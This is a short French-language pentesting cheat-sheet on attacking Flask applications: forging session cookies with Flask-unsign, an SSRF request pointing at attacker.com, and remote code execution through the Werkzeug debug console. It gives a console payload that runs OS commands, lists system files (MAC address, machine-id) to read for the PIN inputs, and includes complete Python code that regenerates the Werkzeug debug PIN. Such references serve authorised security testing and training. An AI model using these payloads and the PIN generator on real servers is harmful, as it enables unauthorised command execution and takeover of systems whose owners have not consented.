Flask

Outils

Flask-unsign

Flask-unsign est un outil de ligne de commande pour récupérer, décoder, bruteforcer et créer des cookies de session d'une application Flask en devinant les clés secrètes.

ressource: https://github.com/Paradoxis/Flask-Unsign

SSRF

GET @attacker.com/ HTTP/1.1
Host: target.com
Connection: close

Werzeug

Flask Werkzeug debug console RCE

Sans PIN

Endpoint: https://target.com/console

__import__('os').popen('whoami').read();

Avec PIN

Nécessite soit un audit en boîte blanche, soit une vulnérabilité permettant d'accéder au code source (path traversal par exemple).

Trouver le fichier /usr/local/lib/pythonX.X/werzeug/debug/__init__.py

repo github: https://github.com/pallets/werkzeug/blob/main/src/werkzeug/debug/__init__.py

Pour reverse l'algorithme de génération du PIN il faut les éléments suivants:

  • Le nom d'utilisateur du lanceur de l'app.

  • Le chemin vers le fichier app.py /usr/local/lib/python3.5/dist-packages/flask/app.py(c)

  • Le décimal de l'adresse MAC de la machine.

    • /proc/net/arp => Récupérer le device ID.

    • /sys/class/net/<device id>/address => Récupérer l'adresse MAC.

  • l'ID de la machine.

    • /etc/machine-id ou /proc/sys/kernel/random/boot_id

Code Python pour générer le PIN

import hashlib
from itertools import chain
probably_public_bits = [
    '[username]',
    'flask.app',
    'Flask',
    '/path/to/flask/app.py'
]

private_bits = [
    '[Decimal MAC]',
    '[Machine ID]'
]

#h = hashlib.md5() # changé dans la release https://werkzeug.palletsprojects.com/en/2.2.x/changes/#version-2-0-0
h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
    if not bit:
        continue
    if isinstance(bit, str):
        bit = bit.encode('utf-8')
    h.update(bit)
h.update(b'cookiesalt')
#h.update(b'shittysalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
    h.update(b'pinsalt')
    num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv =None
if rv is None:
    for group_size in 5, 4, 3:
        if len(num) % group_size == 0:
            rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
                          for x in range(0, len(num), group_size))
            break
    else:
        rv = num

print(rv)

Une fois cela fait, exploiter la RCE avec la commandes de la partie Sans PIN.

Dernière mise à jour